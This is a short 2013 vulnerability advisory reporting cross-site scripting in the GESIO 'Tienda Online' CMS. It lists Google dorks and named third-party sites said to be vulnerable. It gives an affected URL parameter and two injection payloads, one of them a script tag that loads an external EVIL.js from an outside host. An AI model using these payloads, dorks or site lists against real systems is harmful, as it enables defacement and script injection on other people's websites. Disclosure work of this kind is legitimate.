Tienda Online CMS Cross Site Scripting

`+=============================================================================================+  
+ Software Gestión GESIO & XSS & Allow Execute Evil Remote Code +  
+=============================================================================================+  
  
  
Author(s): Ivan Sanchez & Raul Diaz  
  
Product: Software Gestión GESIO   
Web:http://www.gesio.com/  
Versions: Modulo / Tienda Online - CM  
Date: 18/04/2013  
  
Vendor Notified: 18/04   
Vendor Notified again: 19/04  
  
Extract:  
http://www.gesio.com/tienda-online-cms-89-50-431/  
"Tu tienda Online conectada a tu facturación diaria. Facturarás con el mismo sistema que vendes online.  
En GESIO® pensamos que un sistema de gestión online debe tener la posibilidad de desarrollar Tienda Online"   
  
  
GOOGLE DORKS:  
------------  
  
allintext:POLÍTICA DE PROTECCIÓN DE DATOS -Software Gestión GESIO®  
  
inurl:cms/site_0003  
  
  
Sites affected   
--------------------  
  
ALL SITES USING THIS CM  
  
http://www.qualitycenter.es/lp/  
http://www.greenhabit.es/lp/  
http://www.latiendadelhormigonimpreso.com/lp/  
http://www.minisub.es/lp/  
http://www.vitalarchery.com/lp/  
http://www.palacios-congresos-es.com/lcli/  
http://www.aulasconsoftware.com/lp/  
http://www.arthulencourt.eu/lp/  
http://www.soltercam.com/lp/  
http://www.sol-i-vent.es/lp/  
http://www.ale-hop.org/lp/  
http://creugal-hobby.com/lp/  
http://www.xipnet.es/lp/  
http://www.canterbury.es/lp/  
http://ociostock.com/lp/  
http://guatebloem.com/productos_listado.php  
  
much more....  
  
Attacks >>>>>>>>>>>>>>>>>>>  
  
  
XSS & REMOTE INJECTION CODE:  
---------------------------  
  
'">><marquee><h1>EvilCode Team</h1></marquee>  
  
Or  
  
"><script src=http://nullcode.com.ar/code/scripts/EVIL.js></script> EXTERNAL EVIL CODE !  
  
  
Parameter Affected:  
-------------------  
  
--form 1 --  
  
http://www.sites/comunicados_listado.php?filtro_texto= INJECT HERE  
  
and much more...  
  
Remediation:  
------------  
  
Could you please validate the input , sanitize each parameter.  
  
  
Thanks you so much!  
  
  
  
NULL CODE SERVICES [ www.evilcode.com.ar ] Hunting Security Bugs!  
+=============================================================================================+  
+ Software Gestión GESIO & XSS & Allow Execute Evil Remote Code +  
+=============================================================================================+  
`